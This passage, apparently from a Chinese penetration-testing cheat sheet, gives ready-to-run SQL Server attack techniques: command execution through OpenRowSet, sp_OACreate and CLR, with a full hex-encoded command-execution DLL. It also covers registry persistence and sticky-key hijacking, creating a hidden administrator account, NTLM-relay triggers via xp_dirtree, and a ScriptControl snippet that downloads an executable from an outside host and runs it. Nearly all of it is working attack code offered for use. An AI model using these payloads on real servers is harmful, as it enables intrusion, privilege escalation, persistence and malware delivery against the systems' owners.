Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令. 279 | -- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令. 280 | 281 | Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb', 282 | 'select shell("whoami")'); 283 | 284 | select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")'); 285 | ``` 286 | 287 | ## xp_regwrite 288 | 利用条件 289 | - xpstar.dll 290 | 291 | ### 修改注册表来劫持粘贴键(映像劫持) 292 | 293 | 利用regwrite函数修改注册表,起到劫持作用 294 | ``` 295 | exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe' 296 | 297 | -- 检查是否劫持成功 298 | exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' 299 | ``` 300 | 301 | ### 将 COM 对象注册到 CLSID 302 | 303 | 在进行 sp_oacreate 利用的时候就有使用 com 组件执行命令的方法 304 | ``` 305 | 306 | -- 使用其 CLSID '0D43FE01-F093-11CF-8940-00A0C9054228' 注册 'The File System Object component' 307 | EXEC xp_regwrite N'HKEY_ CLASSES_ROOT', 308 | N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\', N'', REG_SZ, N'FileSystem Object'; 309 | EXEC xp_regwrite N'HKEY_CLASSES_ROOT', 310 | N'CLSID\(0D43FE01-F093-11CF-8940-00A0C9054228}\InProcServer32', N'', 311 | REG_SZ, N'%systemroot%\system32\scrrun.dll'; 312 | EXEC xp_regwrite N'HKEY_CLASSES_ROOT', 313 | N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID',N'',REG_SZ, 314 | N'Scripting.FileSystemObject'; 315 | EXEC xp_regwrite N'HKEY_CLASSES_ROOT', 316 | N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TypeLib',N'',REG_SZ, 317 | N'{420B2830-E718-11CF-893D-00A0C9054228}'; 318 | EXEC xp_regwrite N'HKEY_CLASSES_ROOT', 319 | N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\Version',N'',REG_SZ, 320 | N'1.0'; 321 | ``` 322 | 323 | ### CMD AutoRun 324 | 325 | 当 CMD.exe(命令处理器)启动时,如果未指定 /D 标志,将执行 AutoRun 命令。 326 | ``` 327 | -- 将 CMD.exe 的 AutoRun 注册表项与软件可执行路径 (c:\windows\system32\calc.exe) 添加,作为持久化的后门 328 | EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','c:\windows\system32\calc.exe' 329 | ``` 330 | 331 | ### Run & RunOnce 332 | 333 | Run 和 RunOnce 注册表项会导致程序在用户每次登录时运行。 334 | ``` 335 | -- 通过将带有可执行路径 (c:\windows\system32\calc.exe) 的 Aut3 条目添加到此注册表路径,攻击者确保每次用户登录服务器时都会执行恶意软件。 336 | EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','c:\windows\system32\calc.exe' 337 | ``` 338 | 339 | ### 禁用指定软件 340 | ``` 341 | 342 | 设置在打开指定应用时,自动关闭.镜像劫持的方式。 343 | 344 | -- 禁用正在运行的进程的方法是使用 IFEO(Image File Execution Options),通过添加值为 taskkill 的调试器键,在这种情况下将杀死特定进程 Everything.exe: 345 | EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe' 346 | ``` 347 | 348 | 349 | 350 | 351 | ### Ole automation procedures提权 352 | 353 | 354 | - 拥有DBA权限 355 | 356 | 判断当前是否为DBA权限,为1则可以提权 357 | 358 | ``` 359 | select is_srvrolemember('sysadmin'); 360 | ``` 361 | 362 | 判断SP_OACREATE状态,如果存在返回1 363 | ``` 364 | select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' 365 | ``` 366 | 367 | 开启Ole automation procedures 368 | 369 | ``` 370 | EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0; 371 | ``` 372 | 373 | 命令执行多种方式 374 | 375 | - wscript.shell组件 376 | 377 | ``` 378 | declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) 379 | exec sp_oacreate 'wscript.shell',@ffffffff0x output 380 | exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' 381 | exec sp_oamethod @exec, 'StdOut', @text out 382 | exec sp_oamethod @text, 'readall', @str out 383 | select @str; 384 | ``` 385 | wscript.shell组件 386 | ``` 387 | declare @ffffffff0x int 388 | exec sp_oacreate 'wscript.shell',@ffffffff0x output 389 | exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt' 390 | 391 | ``` 392 | 393 | 394 | - com组件执行命令 395 | 396 | ``` 397 | declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) 398 | exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output 399 | exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' 400 | exec sp_oamethod @exec, 'StdOut', @text out 401 | exec sp_oamethod @text, 'readall', @str out 402 | select @str; 403 | ``` 404 | - com 组件写文件 405 | ``` 406 | DECLARE @ObjectToken INT; 407 | EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT; 408 | EXEC Sp_OASetProperty @ObjectToken, 'Type', 1; 409 | EXEC sp_oamethod @ObjectToken, 'Open'; 410 | EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078; 411 | EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2; 412 | EXEC sp_oamethod @ObjectToken, 'Close'; 413 | EXEC sp_OADestroy @ObjectToken; 414 | ``` 415 | - filesystemobject COM 对象利用 416 | 417 | https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/filesystemobject-object 418 | filesystemobject”COM 对象允许我们复制文件、管理驱动器等等。 419 | ``` 420 | -- 利用 filesystemobject 写vbs脚本 421 | declare @o int, @f int, @t int, @ret int,@a int 422 | exec sp_oacreate 'scripting.filesystemobject', @o out 423 | exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1 424 | exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah' 425 | 426 | -- 配合 wscript.shell 组件执行 427 | DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out 428 | EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs] 429 | ``` 430 | 431 | 复制具有不同名称和位置的 calc.exe 可执行文件 432 | ``` 433 | declare @ffffffff0x int; 434 | exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; 435 | exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe'; 436 | ``` 437 | 移动文件 438 | ``` 439 | declare @ffffffff0x int 440 | exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out 441 | exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt' 442 | ``` 443 | 删除文件 444 | ``` 445 | declare @result int 446 | declare @ffffffff0x int 447 | exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out 448 | exec sp_oamethod @ffffffff0x,'deletefile',null,'c:\\www\\1.txt' 449 | exec sp_oadestroy @ffffffff0x 450 | ``` 451 | 替换粘滞键 452 | ``` 453 | declare @ffffffff0x int; 454 | exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; 455 | exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe'; 456 | 457 | declare @ffffffff0x int; 458 | exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; 459 | exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe' 460 | ``` 461 | 462 | - ScriptControl COM 对象利用(未测试成功) 463 | 464 | https://developpaper.com/introduction-of-msscriptcontrol-scriptcontrol-component-properties-methods-and-events/ 465 | ScriptControl 允许我们在 SQL Server 中实际运行脚本语言,例如 VBScript 或 JavaScript。 466 | ``` 467 | -- 使用 JavaScript 创建帐户、更改其密码并将新帐户添加到管理员组 468 | declare @ffffffff0x int 469 | EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT; 470 | EXEC sp_OASetProperty @ffffffff0x, 'Language', 'JavaScript'; 471 | EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL, 472 | 'var o=new ActiveXObject("Shell.Users"); 473 | z=o.create("testuser"); 474 | z.changePassword("123456!@#","") 475 | z.setting("AccountType")=3;'; 476 | 477 | -- 0:"Guests" 478 | -- 1:"Users" 479 | -- 2:"Power Users" 480 | -- 3:"Administrators" 481 | 482 | -- 下载恶意软件 483 | declare @ffffffff0x int 484 | EXEC sp_OAcreate 'Scriptcontrol',@ffffffff0x OUT; 485 | EXEC sp_OASetProperty @ffffffff0x, 'Language', 'JavaScript'; 486 | EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL, 487 | 'var x = new ActiveXObject("Microsoft.XMLHTTP"); 488 | x.Open("GET","http://x.x.x.x:443/test.exe",0); 489 | x.Send(); 490 | var s = new ActiveXObject("ADODB.Stream"); 491 | s.Mode = 3; 492 | s.Type = 1; 493 | s.Open(); 494 | S.Write(x.responseBody); 495 | s.SaveToFile("C:\\www\\test.exe",2); 496 | var r = new ActiveXObject("WScript.Shell"); 497 | r.Run("C:\\www\\test.exe");'; 498 | ``` 499 | WMI COM 对象利用 500 | ``` 501 | declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000) 502 | EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT; 503 | EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2'; 504 | EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe'''; 505 | EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor'; 506 | EXEC sp_OASetProperty @objFull,'ControlFlags',4; 507 | EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull; 508 | ``` 509 | 510 | ### JobAgent提权 511 | 512 | - 拥有DBA权限 513 | - 需要sqlserver代理(sqlagent)开启 514 | 515 | ------ 516 | 517 | 1. 尝试开启sqlagent 518 | 519 | ``` 520 | exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'; 521 | ``` 522 | 523 | 1. 利用任务计划命令执行(无回显) 524 | 525 | ``` 526 | -- 利用任务计划命令执行(无回显,可以 dnslog) 527 | -- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt 528 | 529 | use msdb; 530 | exec sp_delete_job null,'test' 531 | exec sp_add_job 'test' 532 | exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"' 533 | exec sp_add_jobserver null,'test',@@servername 534 | exec sp_start_job 'test'; 535 | ``` 536 | 537 | 538 | 539 | ### CLR提权 540 | 541 | CLR 方式可以利用 16 进制文件流方式导入 DLL 文件,不需要文件落地 542 | - MDUT 中的16进制的dll 543 | 544 | dll的制作可以参考下面的文章 545 | - https://xz.aliyun.com/t/10955#toc-12 546 | 547 | - 拥有DBA权限 548 | 549 | -- 启用CLR,SQL Server 2017版本之前 550 | ``` 551 | sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项 552 | sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR 553 | ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的 554 | ``` 555 | -- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限 556 | ``` 557 | sp_configure 'show advanced options',1;RECONFIGURE; 558 | sp_configure 'clr enabled',1;RECONFIGURE; 559 | sp_add_trusted_assembly @hash= ; -- 将某程序集的SHA512哈希值添加到可信程序集列表中 560 | ``` 561 | -- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库 562 | ``` 563 | EXEC sp_changedbowner 'sa' 564 | ALTER DATABASE [test] SET trustworthy ON 565 | ``` 566 | 567 | -- 导入CLR插件 568 | ``` 569 | CREATE ASSEMBLY [mssql_CLR] 570 | AUTHORIZATION [dbo] 571 | FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 572 | WITH PERMISSION_SET = UNSAFE; 573 | GO 574 | ``` 575 | -- 创建CLR函数 576 | ``` 577 | CREATE PROCEDURE [dbo].[ExecCommand] 578 | @cmd NVARCHAR (MAX) 579 | AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand] 580 | go 581 | ``` 582 | -- 利用CLR执行系统命令 583 | ``` 584 | exec dbo.ExecCommand "whoami /all"; 585 | ``` 586 | 587 | 格式简化 588 | 589 | ``` 590 | -- 导入CLR插件 591 | CREATE ASSEMBLY [clrdata] 592 | AUTHORIZATION [dbo] 593 | FROM 0x16进制的dll 594 | WITH PERMISSION_SET = UNSAFE; 595 | 596 | -- 创建CLR函数 597 | CREATE PROCEDURE [dbo].[testclrexec] 598 | @method NVARCHAR (MAX) , @arguments NVARCHAR (MAX) 599 | AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec] 600 | 601 | -- 利用CLR执行系统命令 602 | exec testclrexec 'cmdexec',N'whoami' 603 | ``` 604 | 605 | 606 | 607 | # Other 608 | 609 | 610 | 611 | tips: 08之前的系统还可以写启动项、粘贴键替换。 612 | 613 | 614 | 615 | ## xp_dirtree 616 | 617 | ``` 618 | execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录。内容会很多,慎用 619 | execute master..xp_dirtree 'c:',1 --只列c:\目录 620 | execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件 621 | ``` 622 | 623 | ## xp_dirtree 624 | ``` 625 | -- 只列 c:\ 文件夹 626 | exec xp_dirtree 'c:',1 627 | -- 列 c:\ 文件夹加文件 628 | exec xp_dirtree 'c:',1,1 629 | -- 列出所有 c:\ 文件和目录,子目录,内容会很多,慎用 630 | exec xp_dirtree 'c:' 631 | ``` 632 | xp_dirtree 还可以用来触发 NTLM 请求,进行中继攻击 633 | ``` 634 | xp_dirtree '\\\any\thing' 635 | exec master.dbo.xp_dirtree '\\\any\thing' 636 | ``` 637 | 638 | ## xp_subdirs 639 | 640 | 用于得到给定的文件夹内的文件夹列表 641 | ``` 642 | -- 列出 C:\\ 目录 643 | exec xp_subdirs "C:\\" 644 | ``` 645 | ## xp_availablemedia 646 | 647 | 用于获得当前所有驱动器 648 | 649 | -- 列出磁盘 650 | ``` 651 | EXEC xp_availablemedia 652 | ``` 653 | ## xp_fileexist 654 | 655 | 于判断文件是否存在的存储过程,参数是文件(file)的路径或目录的路径 656 | ``` 657 | -- 判断文件 D:\test.txt 是否存在 658 | exec master.sys.xp_fileexist 'D:\test.txt' 659 | ``` 660 | ## xp_create_subdir 661 | 662 | 用于创建子目录的存储过程,参数是子目录的路径 663 | ``` 664 | -- 创建子目录 D:\test 665 | exec master.sys.xp_create_subdir 'D:\test' 666 | ``` 667 | ## xp_delete_file 668 | 669 | 可用于删除文件的存储过程,但该存储过程不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)的文件。 670 | ``` 671 | -- 删除文件 672 | declare @Date datetime = dateadd(day,-30,getdate()) 673 | exec master.sys.xp_delete_file 0,'D:\test\','bak',@Date,0 674 | ``` 675 | -- 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件; 676 | -- 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾; 677 | -- 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN'; 678 | -- 第四个参数是Date,早于该日期创建的文件将会被删除; 679 | -- 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件; 680 | ## xp_regenumkeys 681 | 682 | 可以查看指定的注册表 683 | ``` 684 | -- 枚举可用的注册表键值 685 | exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International' 686 | ``` 687 | ## xp_regdeletekey 688 | 689 | 可以删除指定的注册表值 690 | ``` 691 | -- 删除指定的注册表值 692 | EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'; 693 | ``` 694 | 695 | ## sp_addextendedproc 696 | 697 | 可以利用于恢复组件,如恢复xp_cmdshell。更多如下 698 | ``` 699 | EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 700 | EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' 701 | EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' 702 | EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' 703 | EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' 704 | EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' 705 | EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' 706 | EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' 707 | EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll' 708 | EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' 709 | EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' 710 | EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' 711 | EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' 712 | EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' 713 | EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' 714 | EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' 715 | EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' 716 | EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' 717 | EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' 718 | EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' 719 | EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll' 720 | ``` 721 | 删除存储过程,可以用如上方法恢复 722 | ``` 723 | exec sp_dropextendedproc 'xp_cmdshell' 724 | ``` 725 | 726 | 727 | # 触发器 728 | 729 | 730 | ```sql 731 | -- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 732 | set ANSI_NULLS on 733 | go 734 | set QUOTED_IDENTIFIER on 735 | go 736 | create trigger [ffffffff0x] 737 | on [user] 738 | AFTER UPDATE as 739 | begin 740 | execute master..xp_cmdshell 'cmd.exe /c calc.exe' 741 | end 742 | go 743 | 744 | -- user 表 update 更新时,自动触发 745 | UPDATE user SET id = '22' WHERE nickname = 'f0x' 746 | ``` 747 | 748 | # R 和 Python 749 | 750 | 在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本 751 | 752 | 利用条件: 753 | - Machine Learning Services 必须要在 Python 安装过程中选择 754 | 755 | 必须启用外部脚本 756 | - EXEC sp_configure 'external scripts enabled', 1 757 | - RECONFIGURE WITH OVERRIDE 758 | - 重新启动数据库服务器 759 | - 用户拥有执行任何外部脚本权限 760 | 761 | 762 | R 脚本利用 763 | ``` 764 | -- 利用 R 执行命令 765 | sp_configure 'external scripts enabled' 766 | GO 767 | EXEC sp_execute_external_script 768 | @language=N'R', 769 | @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' 770 | WITH RESULT SETS (([cmd_out] text)); 771 | GO 772 | 773 | -- 利用 R 抓取 Net-NTLM 哈希 774 | 